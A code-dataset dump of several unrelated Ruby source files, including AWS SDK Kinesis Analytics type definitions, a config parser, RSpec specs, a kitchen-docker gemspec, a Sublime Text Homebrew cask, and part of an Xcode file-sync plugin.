# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/OutputUpdate AWS API Documentation
#
class OutputUpdate < Struct.new(
:output_id,
:name_update,
:kinesis_streams_output_update,
:kinesis_firehose_output_update,
:lambda_output_update,
:destination_schema_update)
SENSITIVE = []
include Aws::Structure
end
# Describes the mapping of each data element in the streaming source to
# the corresponding column in the in-application stream.
#
# Also used to describe the format of the reference data source.
#
# @note When making an API call, you may pass RecordColumn
# data as a hash:
#
# {
# name: "RecordColumnName", # required
# mapping: "RecordColumnMapping",
# sql_type: "RecordColumnSqlType", # required
# }
#
# @!attribute [rw] name
# Name of the column created in the in-application input stream or
# reference table.
# @return [String]
#
# @!attribute [rw] mapping
# Reference to the data element in the streaming input or the
# reference data source. This element is required if the
# [RecordFormatType][1] is `JSON`.
#
#
#
# [1]: https://docs.aws.amazon.com/kinesisanalytics/latest/dev/API_RecordFormat.html#analytics-Type-RecordFormat-RecordFormatTypel
# @return [String]
#
# @!attribute [rw] sql_type
# Type of column created in the in-application input stream or
# reference table.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/RecordColumn AWS API Documentation
#
class RecordColumn < Struct.new(
:name,
:mapping,
:sql_type)
SENSITIVE = []
include Aws::Structure
end
# Describes the record format and relevant mapping information that
# should be applied to schematize the records on the stream.
#
# @note When making an API call, you may pass RecordFormat
# data as a hash:
#
# {
# record_format_type: "JSON", # required, accepts JSON, CSV
# mapping_parameters: {
# json_mapping_parameters: {
# record_row_path: "RecordRowPath", # required
# },
# csv_mapping_parameters: {
# record_row_delimiter: "RecordRowDelimiter", # required
# record_column_delimiter: "RecordColumnDelimiter", # required
# },
# },
# }
#
# @!attribute [rw] record_format_type
# The type of record format.
# @return [String]
#
# @!attribute [rw] mapping_parameters
# When configuring application input at the time of creating or
# updating an application, provides additional mapping information
# specific to the record format (such as JSON, CSV, or record fields
# delimited by some delimiter) on the streaming source.
# @return [Types::MappingParameters]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/RecordFormat AWS API Documentation
#
class RecordFormat < Struct.new(
:record_format_type,
:mapping_parameters)
SENSITIVE = []
include Aws::Structure
end
# Describes the reference data source by providing the source
# information (S3 bucket name and object key name), the resulting
# in-application table name that is created, and the necessary schema to
# map the data elements in the Amazon S3 object to the in-application
# table.
#
# @note When making an API call, you may pass ReferenceDataSource
# data as a hash:
#
# {
# table_name: "InAppTableName", # required
# s3_reference_data_source: {
# bucket_arn: "BucketARN", # required
# file_key: "FileKey", # required
# reference_role_arn: "RoleARN", # required
# },
# reference_schema: { # required
# record_format: { # required
# record_format_type: "JSON", # required, accepts JSON, CSV
# mapping_parameters: {
# json_mapping_parameters: {
# record_row_path: "RecordRowPath", # required
# },
# csv_mapping_parameters: {
# record_row_delimiter: "RecordRowDelimiter", # required
# record_column_delimiter: "RecordColumnDelimiter", # required
# },
# },
# },
# record_encoding: "RecordEncoding",
# record_columns: [ # required
# {
# name: "RecordColumnName", # required
# mapping: "RecordColumnMapping",
# sql_type: "RecordColumnSqlType", # required
# },
# ],
# },
# }
#
# @!attribute [rw] table_name
# Name of the in-application table to create.
# @return [String]
#
# @!attribute [rw] s3_reference_data_source
# Identifies the S3 bucket and object that contains the reference
# data. Also identifies the IAM role Amazon Kinesis Analytics can
# assume to read this object on your behalf. An Amazon Kinesis
# Analytics application loads reference data only once. If the data
# changes, you call the `UpdateApplication` operation to trigger
# reloading of data into your application.
# @return [Types::S3ReferenceDataSource]
#
# @!attribute [rw] reference_schema
# Describes the format of the data in the streaming source, and how
# each data element maps to corresponding columns created in the
# in-application stream.
# @return [Types::SourceSchema]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/ReferenceDataSource AWS API Documentation
#
class ReferenceDataSource < Struct.new(
:table_name,
:s3_reference_data_source,
:reference_schema)
SENSITIVE = []
include Aws::Structure
end
# Describes the reference data source configured for an application.
#
# @!attribute [rw] reference_id
# ID of the reference data source. This is the ID that Amazon Kinesis
# Analytics assigns when you add the reference data source to your
# application using the [AddApplicationReferenceDataSource][1]
# operation.
#
#
#
# [1]: https://docs.aws.amazon.com/kinesisanalytics/latest/dev/API_AddApplicationReferenceDataSource.html
# @return [String]
#
# @!attribute [rw] table_name
# The in-application table name created by the specific reference data
# source configuration.
# @return [String]
#
# @!attribute [rw] s3_reference_data_source_description
# Provides the S3 bucket name, the object key name that contains the
# reference data. It also provides the Amazon Resource Name (ARN) of
# the IAM role that Amazon Kinesis Analytics can assume to read the
# Amazon S3 object and populate the in-application reference table.
# @return [Types::S3ReferenceDataSourceDescription]
#
# @!attribute [rw] reference_schema
# Describes the format of the data in the streaming source, and how
# each data element maps to corresponding columns created in the
# in-application stream.
# @return [Types::SourceSchema]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/ReferenceDataSourceDescription AWS API Documentation
#
class ReferenceDataSourceDescription < Struct.new(
:reference_id,
:table_name,
:s3_reference_data_source_description,
:reference_schema)
SENSITIVE = []
include Aws::Structure
end
# When you update a reference data source configuration for an
# application, this object provides all the updated values (such as the
# source bucket name and object key name), the in-application table name
# that is created, and updated mapping information that maps the data in
# the Amazon S3 object to the in-application reference table that is
# created.
#
# @note When making an API call, you may pass ReferenceDataSourceUpdate
# data as a hash:
#
# {
# reference_id: "Id", # required
# table_name_update: "InAppTableName",
# s3_reference_data_source_update: {
# bucket_arn_update: "BucketARN",
# file_key_update: "FileKey",
# reference_role_arn_update: "RoleARN",
# },
# reference_schema_update: {
# record_format: { # required
# record_format_type: "JSON", # required, accepts JSON, CSV
# mapping_parameters: {
# json_mapping_parameters: {
# record_row_path: "RecordRowPath", # required
# },
# csv_mapping_parameters: {
# record_row_delimiter: "RecordRowDelimiter", # required
# record_column_delimiter: "RecordColumnDelimiter", # required
# },
# },
# },
# record_encoding: "RecordEncoding",
# record_columns: [ # required
# {
# name: "RecordColumnName", # required
# mapping: "RecordColumnMapping",
# sql_type: "RecordColumnSqlType", # required
# },
# ],
# },
# }
#
# @!attribute [rw] reference_id
# ID of the reference data source being updated. You can use the
# [DescribeApplication][1] operation to get this value.
#
#
#
# [1]: https://docs.aws.amazon.com/kinesisanalytics/latest/dev/API_DescribeApplication.html
# @return [String]
#
# @!attribute [rw] table_name_update
# In-application table name that is created by this update.
# @return [String]
#
# @!attribute [rw] s3_reference_data_source_update
# Describes the S3 bucket name, object key name, and IAM role that
# Amazon Kinesis Analytics can assume to read the Amazon S3 object on
# your behalf and populate the in-application reference table.
# @return [Types::S3ReferenceDataSourceUpdate]
#
# @!attribute [rw] reference_schema_update
# Describes the format of the data in the streaming source, and how
# each data element maps to corresponding columns created in the
# in-application stream.
# @return [Types::SourceSchema]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/ReferenceDataSourceUpdate AWS API Documentation
#
class ReferenceDataSourceUpdate < Struct.new(
:reference_id,
:table_name_update,
:s3_reference_data_source_update,
:reference_schema_update)
SENSITIVE = []
include Aws::Structure
end
# Application is not available for this operation.
#
# @!attribute [rw] message
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/ResourceInUseException AWS API Documentation
#
class ResourceInUseException < Struct.new(
:message)
SENSITIVE = []
include Aws::Structure
end
# Specified application can't be found.
#
# @!attribute [rw] message
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/ResourceNotFoundException AWS API Documentation
#
class ResourceNotFoundException < Struct.new(
:message)
SENSITIVE = []
include Aws::Structure
end
# Discovery failed to get a record from the streaming source because of
# the Amazon Kinesis Streams ProvisionedThroughputExceededException. For
# more information, see [GetRecords][1] in the Amazon Kinesis Streams
# API Reference.
#
#
#
# [1]: https://docs.aws.amazon.com/kinesis/latest/APIReference/API_GetRecords.html
#
# @!attribute [rw] message
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/ResourceProvisionedThroughputExceededException AWS API Documentation
#
class ResourceProvisionedThroughputExceededException < Struct.new(
:message)
SENSITIVE = []
include Aws::Structure
end
# Provides a description of an Amazon S3 data source, including the
# Amazon Resource Name (ARN) of the S3 bucket, the ARN of the IAM role
# that is used to access the bucket, and the name of the Amazon S3
# object that contains the data.
#
# @note When making an API call, you may pass S3Configuration
# data as a hash:
#
# {
# role_arn: "RoleARN", # required
# bucket_arn: "BucketARN", # required
# file_key: "FileKey", # required
# }
#
# @!attribute [rw] role_arn
# IAM ARN of the role used to access the data.
# @return [String]
#
# @!attribute [rw] bucket_arn
# ARN of the S3 bucket that contains the data.
# @return [String]
#
# @!attribute [rw] file_key
# The name of the object that contains the data.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/S3Configuration AWS API Documentation
#
class S3Configuration < Struct.new(
:role_arn,
:bucket_arn,
:file_key)
SENSITIVE = []
include Aws::Structure
end
# Identifies the S3 bucket and object that contains the reference data.
# Also identifies the IAM role Amazon Kinesis Analytics can assume to
# read this object on your behalf.
#
# An Amazon Kinesis Analytics application loads reference data only
# once. If the data changes, you call the [UpdateApplication][1]
# operation to trigger reloading of data into your application.
#
#
#
# [1]: https://docs.aws.amazon.com/kinesisanalytics/latest/dev/API_UpdateApplication.html
#
# @note When making an API call, you may pass S3ReferenceDataSource
# data as a hash:
#
# {
# bucket_arn: "BucketARN", # required
# file_key: "FileKey", # required
# reference_role_arn: "RoleARN", # required
# }
#
# @!attribute [rw] bucket_arn
# Amazon Resource Name (ARN) of the S3 bucket.
# @return [String]
#
# @!attribute [rw] file_key
# Object key name containing reference data.
# @return [String]
#
# @!attribute [rw] reference_role_arn
# ARN of the IAM role that the service can assume to read data on your
# behalf. This role must have permission for the `s3:GetObject` action
# on the object and trust policy that allows Amazon Kinesis Analytics
# service principal to assume this role.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/S3ReferenceDataSource AWS API Documentation
#
class S3ReferenceDataSource < Struct.new(
:bucket_arn,
:file_key,
:reference_role_arn)
SENSITIVE = []
include Aws::Structure
end
# Provides the bucket name and object key name that stores the reference
# data.
#
# @!attribute [rw] bucket_arn
# Amazon Resource Name (ARN) of the S3 bucket.
# @return [String]
#
# @!attribute [rw] file_key
# Amazon S3 object key name.
# @return [String]
#
# @!attribute [rw] reference_role_arn
# ARN of the IAM role that Amazon Kinesis Analytics can assume to read
# the Amazon S3 object on your behalf to populate the in-application
# reference table.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/S3ReferenceDataSourceDescription AWS API Documentation
#
class S3ReferenceDataSourceDescription < Struct.new(
:bucket_arn,
:file_key,
:reference_role_arn)
SENSITIVE = []
include Aws::Structure
end
# Describes the S3 bucket name, object key name, and IAM role that
# Amazon Kinesis Analytics can assume to read the Amazon S3 object on
# your behalf and populate the in-application reference table.
#
# @note When making an API call, you may pass S3ReferenceDataSourceUpdate
# data as a hash:
#
# {
# bucket_arn_update: "BucketARN",
# file_key_update: "FileKey",
# reference_role_arn_update: "RoleARN",
# }
#
# @!attribute [rw] bucket_arn_update
# Amazon Resource Name (ARN) of the S3 bucket.
# @return [String]
#
# @!attribute [rw] file_key_update
# Object key name.
# @return [String]
#
# @!attribute [rw] reference_role_arn_update
# ARN of the IAM role that Amazon Kinesis Analytics can assume to read
# the Amazon S3 object and populate the in-application.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/S3ReferenceDataSourceUpdate AWS API Documentation
#
class S3ReferenceDataSourceUpdate < Struct.new(
:bucket_arn_update,
:file_key_update,
:reference_role_arn_update)
SENSITIVE = []
include Aws::Structure
end
# The service is unavailable. Back off and retry the operation.
#
# @!attribute [rw] message
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/ServiceUnavailableException AWS API Documentation
#
class ServiceUnavailableException < Struct.new(
:message)
SENSITIVE = []
include Aws::Structure
end
# Describes the format of the data in the streaming source, and how each
# data element maps to corresponding columns created in the
# in-application stream.
#
# @note When making an API call, you may pass SourceSchema
# data as a hash:
#
# {
# record_format: { # required
# record_format_type: "JSON", # required, accepts JSON, CSV
# mapping_parameters: {
# json_mapping_parameters: {
# record_row_path: "RecordRowPath", # required
# },
# csv_mapping_parameters: {
# record_row_delimiter: "RecordRowDelimiter", # required
# record_column_delimiter: "RecordColumnDelimiter", # required
# },
# },
# },
# record_encoding: "RecordEncoding",
# record_columns: [ # required
# {
# name: "RecordColumnName", # required
# mapping: "RecordColumnMapping",
# sql_type: "RecordColumnSqlType", # required
# },
# ],
# }
#
# @!attribute [rw] record_format
# Specifies the format of the records on the streaming source.
# @return [Types::RecordFormat]
#
# @!attribute [rw] record_encoding
# Specifies the encoding of the records in the streaming source. For
# example, UTF-8.
# @return [String]
#
# @!attribute [rw] record_columns
# A list of `RecordColumn` objects.
# @return [Array<Types::RecordColumn>]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/SourceSchema AWS API Documentation
#
class SourceSchema < Struct.new(
:record_format,
:record_encoding,
:record_columns)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass StartApplicationRequest
# data as a hash:
#
# {
# application_name: "ApplicationName", # required
# input_configurations: [ # required
# {
# id: "Id", # required
# input_starting_position_configuration: { # required
# input_starting_position: "NOW", # accepts NOW, TRIM_HORIZON, LAST_STOPPED_POINT
# },
# },
# ],
# }
#
# @!attribute [rw] application_name
# Name of the application.
# @return [String]
#
# @!attribute [rw] input_configurations
# Identifies the specific input, by ID, that the application starts
# consuming. Amazon Kinesis Analytics starts reading the streaming
# source associated with the input. You can also specify where in the
# streaming source you want Amazon Kinesis Analytics to start reading.
# @return [Array<Types::InputConfiguration>]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/StartApplicationRequest AWS API Documentation
#
class StartApplicationRequest < Struct.new(
:application_name,
:input_configurations)
SENSITIVE = []
include Aws::Structure
end
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/StartApplicationResponse AWS API Documentation
#
class StartApplicationResponse < Aws::EmptyStructure; end
# @note When making an API call, you may pass StopApplicationRequest
# data as a hash:
#
# {
# application_name: "ApplicationName", # required
# }
#
# @!attribute [rw] application_name
# Name of the running application to stop.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/StopApplicationRequest AWS API Documentation
#
class StopApplicationRequest < Struct.new(
:application_name)
SENSITIVE = []
include Aws::Structure
end
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/StopApplicationResponse AWS API Documentation
#
class StopApplicationResponse < Aws::EmptyStructure; end
# A key-value pair (the value is optional) that you can define and
# assign to AWS resources. If you specify a tag that already exists, the
# tag value is replaced with the value that you specify in the request.
# Note that the maximum number of application tags includes system tags.
# The maximum number of user-defined application tags is 50. For more
# information, see [Using Tagging][1].
#
#
#
# [1]: https://docs.aws.amazon.com/kinesisanalytics/latest/dev/how-tagging.html
#
# @note When making an API call, you may pass Tag
# data as a hash:
#
# {
# key: "TagKey", # required
# value: "TagValue",
# }
#
# @!attribute [rw] key
# The key of the key-value tag.
# @return [String]
#
# @!attribute [rw] value
# The value of the key-value tag. The value is optional.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/Tag AWS API Documentation
#
class Tag < Struct.new(
:key,
:value)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass TagResourceRequest
# data as a hash:
#
# {
# resource_arn: "KinesisAnalyticsARN", # required
# tags: [ # required
# {
# key: "TagKey", # required
# value: "TagValue",
# },
# ],
# }
#
# @!attribute [rw] resource_arn
# The ARN of the application to assign the tags.
# @return [String]
#
# @!attribute [rw] tags
# The key-value tags to assign to the application.
# @return [Array<Types::Tag>]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/TagResourceRequest AWS API Documentation
#
class TagResourceRequest < Struct.new(
:resource_arn,
:tags)
SENSITIVE = []
include Aws::Structure
end
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/TagResourceResponse AWS API Documentation
#
class TagResourceResponse < Aws::EmptyStructure; end
# Application created with too many tags, or too many tags added to an
# application. Note that the maximum number of application tags includes
# system tags. The maximum number of user-defined application tags is
# 50.
#
# @!attribute [rw] message
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/TooManyTagsException AWS API Documentation
#
class TooManyTagsException < Struct.new(
:message)
SENSITIVE = []
include Aws::Structure
end
# Data format is not valid. Amazon Kinesis Analytics is not able to
# detect schema for the given streaming source.
#
# @!attribute [rw] message
# @return [String]
#
# @!attribute [rw] raw_input_records
# @return [Array<String>]
#
# @!attribute [rw] processed_input_records
# @return [Array<String>]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/UnableToDetectSchemaException AWS API Documentation
#
class UnableToDetectSchemaException < Struct.new(
:message,
:raw_input_records,
:processed_input_records)
SENSITIVE = []
include Aws::Structure
end
# The request was rejected because a specified parameter is not
# supported or a specified resource is not valid for this operation.
#
# @!attribute [rw] message
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/UnsupportedOperationException AWS API Documentation
#
class UnsupportedOperationException < Struct.new(
:message)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass UntagResourceRequest
# data as a hash:
#
# {
# resource_arn: "KinesisAnalyticsARN", # required
# tag_keys: ["TagKey"], # required
# }
#
# @!attribute [rw] resource_arn
# The ARN of the Kinesis Analytics application from which to remove
# the tags.
# @return [String]
#
# @!attribute [rw] tag_keys
# A list of keys of tags to remove from the specified application.
# @return [Array<String>]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/UntagResourceRequest AWS API Documentation
#
class UntagResourceRequest < Struct.new(
:resource_arn,
:tag_keys)
SENSITIVE = []
include Aws::Structure
end
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/UntagResourceResponse AWS API Documentation
#
class UntagResourceResponse < Aws::EmptyStructure; end
# @note When making an API call, you may pass UpdateApplicationRequest
# data as a hash:
#
# {
# application_name: "ApplicationName", # required
# current_application_version_id: 1, # required
# application_update: { # required
# input_updates: [
# {
# input_id: "Id", # required
# name_prefix_update: "InAppStreamName",
# input_processing_configuration_update: {
# input_lambda_processor_update: { # required
# resource_arn_update: "ResourceARN",
# role_arn_update: "RoleARN",
# },
# },
# kinesis_streams_input_update: {
# resource_arn_update: "ResourceARN",
# role_arn_update: "RoleARN",
# },
# kinesis_firehose_input_update: {
# resource_arn_update: "ResourceARN",
# role_arn_update: "RoleARN",
# },
# input_schema_update: {
# record_format_update: {
# record_format_type: "JSON", # required, accepts JSON, CSV
# mapping_parameters: {
# json_mapping_parameters: {
# record_row_path: "RecordRowPath", # required
# },
# csv_mapping_parameters: {
# record_row_delimiter: "RecordRowDelimiter", # required
# record_column_delimiter: "RecordColumnDelimiter", # required
# },
# },
# },
# record_encoding_update: "RecordEncoding",
# record_column_updates: [
# {
# name: "RecordColumnName", # required
# mapping: "RecordColumnMapping",
# sql_type: "RecordColumnSqlType", # required
# },
# ],
# },
# input_parallelism_update: {
# count_update: 1,
# },
# },
# ],
# application_code_update: "ApplicationCode",
# output_updates: [
# {
# output_id: "Id", # required
# name_update: "InAppStreamName",
# kinesis_streams_output_update: {
# resource_arn_update: "ResourceARN",
# role_arn_update: "RoleARN",
# },
# kinesis_firehose_output_update: {
# resource_arn_update: "ResourceARN",
# role_arn_update: "RoleARN",
# },
# lambda_output_update: {
# resource_arn_update: "ResourceARN",
# role_arn_update: "RoleARN",
# },
# destination_schema_update: {
# record_format_type: "JSON", # required, accepts JSON, CSV
# },
# },
# ],
# reference_data_source_updates: [
# {
# reference_id: "Id", # required
# table_name_update: "InAppTableName",
# s3_reference_data_source_update: {
# bucket_arn_update: "BucketARN",
# file_key_update: "FileKey",
# reference_role_arn_update: "RoleARN",
# },
# reference_schema_update: {
# record_format: { # required
# record_format_type: "JSON", # required, accepts JSON, CSV
# mapping_parameters: {
# json_mapping_parameters: {
# record_row_path: "RecordRowPath", # required
# },
# csv_mapping_parameters: {
# record_row_delimiter: "RecordRowDelimiter", # required
# record_column_delimiter: "RecordColumnDelimiter", # required
# },
# },
# },
# record_encoding: "RecordEncoding",
# record_columns: [ # required
# {
# name: "RecordColumnName", # required
# mapping: "RecordColumnMapping",
# sql_type: "RecordColumnSqlType", # required
# },
# ],
# },
# },
# ],
# cloud_watch_logging_option_updates: [
# {
# cloud_watch_logging_option_id: "Id", # required
# log_stream_arn_update: "LogStreamARN",
# role_arn_update: "RoleARN",
# },
# ],
# },
# }
#
# @!attribute [rw] application_name
# Name of the Amazon Kinesis Analytics application to update.
# @return [String]
#
# @!attribute [rw] current_application_version_id
# The current application version ID. You can use the
# [DescribeApplication][1] operation to get this value.
#
#
#
# [1]: https://docs.aws.amazon.com/kinesisanalytics/latest/dev/API_DescribeApplication.html
# @return [Integer]
#
# @!attribute [rw] application_update
# Describes application updates.
# @return [Types::ApplicationUpdate]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/UpdateApplicationRequest AWS API Documentation
#
class UpdateApplicationRequest < Struct.new(
:application_name,
:current_application_version_id,
:application_update)
SENSITIVE = []
include Aws::Structure
end
# @see http://docs.aws.amazon.com/goto/WebAPI/kinesisanalytics-2015-08-14/UpdateApplicationResponse AWS API Documentation
#
class UpdateApplicationResponse < Aws::EmptyStructure; end
end
end
| 37.346815 | 153 | 0.616281 |
ac143d6aabc495875e6bd74c226df8050997c568
| 1,161 |
#Allows an object to load attributes from a file.
class Configurable < Jemini::Behavior
#The loaded configuration for the object.
attr_reader :config
#Loads a configuration with the given name.
def configure_as(key)
string = game_state.manager(:config).get_config(key)
@config = parse(string)
end
private
#Parse the config string, returning a hash of attributes.
def parse(string)
attributes = {}
string.split("\n").each do |line|
line.strip!
next if line.empty?
next if line =~ /^#/
if line =~ /^([^=]+)=(.*)$/
key = $1.strip.to_sym
value = parse_value($2.strip)
attributes[key] = value
end
end
attributes
end
#Treats quoted strings as strings, unquoted numbers as numbers.
def parse_value(value)
case value
when /^"(.*)"$/
escape($1)
when /^([\-\d]+)$/
$1.to_i
when /^([\-\d\.]+)$/
$1.to_f
else
escape(value)
end
end
def escape(string)
string.gsub!(/\\\"/, '"')
string.gsub!(/\\\\/, '\\')
string
end
end
| 22.326923 | 67 | 0.540913 |
ed5e4d7b028463e9b5abb9964984b273d06b2c2f
| 166 |
require 'spec_helper'
describe Meta do
describe 'self.regions' do
it 'returns an array' do
expect(described_class.attrs).to be_a Hash
end
end
end
| 15.090909 | 48 | 0.698795 |
f75a335d9e7f8550b2e0ec3fb3df00539c0a92e8
| 1,498 |
lib = File.expand_path('../lib', __FILE__)
$LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib)
require 'kitchen/docker/docker_version'
Gem::Specification.new do |spec|
spec.name = 'kitchen-docker'
spec.version = Kitchen::Docker::DOCKER_VERSION
spec.authors = ['Sean Porter']
spec.email = ['[email protected]']
spec.description = %q{A Docker Driver for Test Kitchen}
spec.summary = spec.description
spec.homepage = 'https://github.com/test-kitchen/kitchen-docker'
spec.license = 'Apache 2.0'
spec.files = `git ls-files`.split($/)
spec.test_files = spec.files.grep(%r{^(test|spec|features)/})
spec.require_paths = ['lib']
spec.add_dependency 'test-kitchen', '>= 1.0.0'
spec.add_development_dependency 'bundler'
spec.add_development_dependency 'rake'
# Style checker gems.
spec.add_development_dependency 'cane'
spec.add_development_dependency 'tailor'
spec.add_development_dependency 'countloc'
# Unit testing gems.
spec.add_development_dependency 'rspec', '~> 3.2'
spec.add_development_dependency 'rspec-its', '~> 1.2'
spec.add_development_dependency 'fuubar', '~> 2.0'
spec.add_development_dependency 'simplecov', '~> 0.9'
spec.add_development_dependency 'codecov', '~> 0.0', '>= 0.0.2'
# Integration testing gems.
spec.add_development_dependency 'kitchen-inspec', '~> 1.1'
spec.add_development_dependency 'train', '>= 2.1', '< 4.0' # validate 4.x when it's released
end
| 37.45 | 94 | 0.693591 |
e2c4c597eada5ca16f4e8b1d13983b2075694ade
| 4,293 |
# frozen_string_literal: true
require "rails_helper"
RSpec.describe UsersController, type: :controller do
context "User logged in" do
before(:all) do
DatabaseCleaner.clean
DatabaseCleaner.strategy = :truncation
OmniAuth.config.test_mode = true
user = FactoryBot.build_stubbed :user
OmniAuth.config.mock_auth[:alma] = OmniAuth::AuthHash.new(email: user.email,
created_at: user.created_at,
updated_at: user.updated_at,
guest: user.guest,
alma_id: user.alma_id,
provider: user.provider,
uid: user.uid)
end
after :all do
DatabaseCleaner.clean
end
context "User had transactions" do
describe "GET #loans" do
xit "returns http success" do
get :loans
expect(response).to have_http_status(:success)
end
end
describe "GET #holds" do
render_views
xit "returns http success" do
get :holds
expect(response).to have_http_status(:success)
end
it "renders the expiry_date when present" do
request_set = instance_double(Alma::RequestSet)
hold_request = Alma::UserRequest.new({ "title" => "hold it", "request_status" => "pending", "expiry_date" => "2017-06-20Z" })
allow(request_set).to receive(:each_with_index).and_yield(hold_request, 1)
user = instance_double(User)
allow(user).to receive(:holds).and_return(request_set)
allow(request_set).to receive(:success?).and_return(true)
allow(controller).to receive(:current_user).and_return(user)
get :holds
expect(response).to have_http_status 200
expect(response.body).to include "06/19/2017"
end
it "can manage when the hold data object doesn't have an expiry_date" do
request_set = instance_double(Alma::RequestSet)
hold_request = Alma::UserRequest.new({ "title" => "hold it", "request_status" => "pending" })
allow(request_set).to receive(:each_with_index).and_yield(hold_request, 1)
user = instance_double(User)
allow(user).to receive(:holds).and_return(request_set)
allow(request_set).to receive(:success?).and_return(true)
allow(controller).to receive(:current_user).and_return(user)
get :holds
expect(response).to have_http_status 200
expect(response.body).to include "requests from the Special Collections Research Center"
end
end
describe "GET #fines" do
xit "returns http success" do
get :fines
expect(response).to have_http_status(:success)
end
end
describe "GET #account" do
before do
DatabaseCleaner.clean
DatabaseCleaner.strategy = :truncation
user = FactoryBot.create :user
sign_in user, scope: :user
end
it "has no-cache headers for account" do
get :account
expect(response.headers["Cache-Control"]).to eq("no-cache, no-store")
expect(response.headers["Pragma"]).to eq("no-cache")
expect(response.headers["Expires"]).to eq("Fri, 01 Jan 1990 00:00:00 GMT")
end
describe "before_action get_manifold_alerts" do
it "sets @manifold_alerts_thread" do
get :account
expect(controller.instance_variable_get("@manifold_alerts_thread")).to be_kind_of(Thread)
end
end
end
end
context "User has no transactions" do
it "shows no items borrowed"
it "shows no item hold requests"
it "shows no fines"
end
end
context "User not logged in" do
it "redirects loans list to login"
it "redirects holds list to login"
it "redirects fines list to login"
end
describe "GET #renew" do
xit "returns http success" do
get :renew
expect(response).to have_http_status(:success)
end
end
describe "GET #renew_multi" do
xit "returns http success" do
get :renew_multi
expect(response).to have_http_status(:success)
end
end
describe "GET #renew_all_loans" do
xit "returns http success" do
get :renew_all_loans
expect(response).to have_http_status(:success)
end
end
end
| 31.566176 | 135 | 0.636851 |
f802ca476699b02f002393f6cf63162d323ee7e3
| 1,127 |
cask 'sublime-text' do
version '3143'
sha256 '952f81f79efb1a0a103fe87328af6a0dd8adf64e16636ecb221e79e453564b6c'
url "https://download.sublimetext.com/Sublime%20Text%20Build%20#{version}.dmg"
appcast 'https://www.sublimetext.com/updates/3/stable/appcast_osx.xml',
checkpoint: 'cf1732de74c0ef572bb401b068bbf563e39c475078fb8d9f33a337b87c488e11'
name 'Sublime Text'
homepage 'https://www.sublimetext.com/3'
auto_updates true
conflicts_with cask: 'caskroom/versions/sublime-text-dev'
app 'Sublime Text.app'
binary "#{appdir}/Sublime Text.app/Contents/SharedSupport/bin/subl"
uninstall quit: 'com.sublimetext.3'
zap delete: [
'~/Library/Application Support/com.apple.sharedfilelist/com.apple.LSSharedFileList.ApplicationRecentDocuments/com.sublimetext.3.sfl',
'~/Library/Caches/com.sublimetext.3',
'~/Library/Saved Application State/com.sublimetext.3.savedState',
],
trash: [
'~/Library/Application Support/Sublime Text 3',
'~/Library/Preferences/com.sublimetext.3.plist',
]
end
| 38.862069 | 149 | 0.699201 |
5d81bc7bd8a8b403bf5e595566ac0904a9ed47d1
| 5,138 |
# Synchronizes the file system for a project with the group structure in its xCode project.
#
# Author:: Doug Togno
# Copyright:: Copyright (C) 2013 Doug Togno
# License:: MIT
#
# :nodoc: namespace
module ZergXcode::Plugins
class Syncfs
require "fileutils"
def help
{:short => 'Synchronizes the file system of a project with the group structure in its xCode project',
:long => 'Creates directories then moves and copies files to match the group structure of an xCode project, the project file is updated to point at the new files and paths' }
#Usage: syncfs [project file path]
end
def run(args)
#Shift the pwd to the project directory if we are not already there
path = args[0].rpartition('/')
if(path[0].length > 0)
Dir.chdir(path[0])
end
sync_fs_with_project(path[2])
end
def sync_fs_with_project(project_name)
proj = ZergXcode.load(project_name)
#Check writing to the project is ok
proj.save!
file_corrections = []
group_corrections = []
project_root = proj['projectRoot'].empty? ? '' : proj['projectRoot']
FileVisitor.visit proj['mainGroup'], project_root, "/", file_corrections, group_corrections
file_corrections.map do |file|
#Create directory structure for the file, even if the file is skipped due to already existing this is important to keep groups in check
FileUtils.mkdir_p Dir.pwd + file[:projpath]
if(!File.exists?(Dir.pwd + file[:projpath] + file[:filename]))
#If the file exists outside the project dir copy it in, otherwise move it
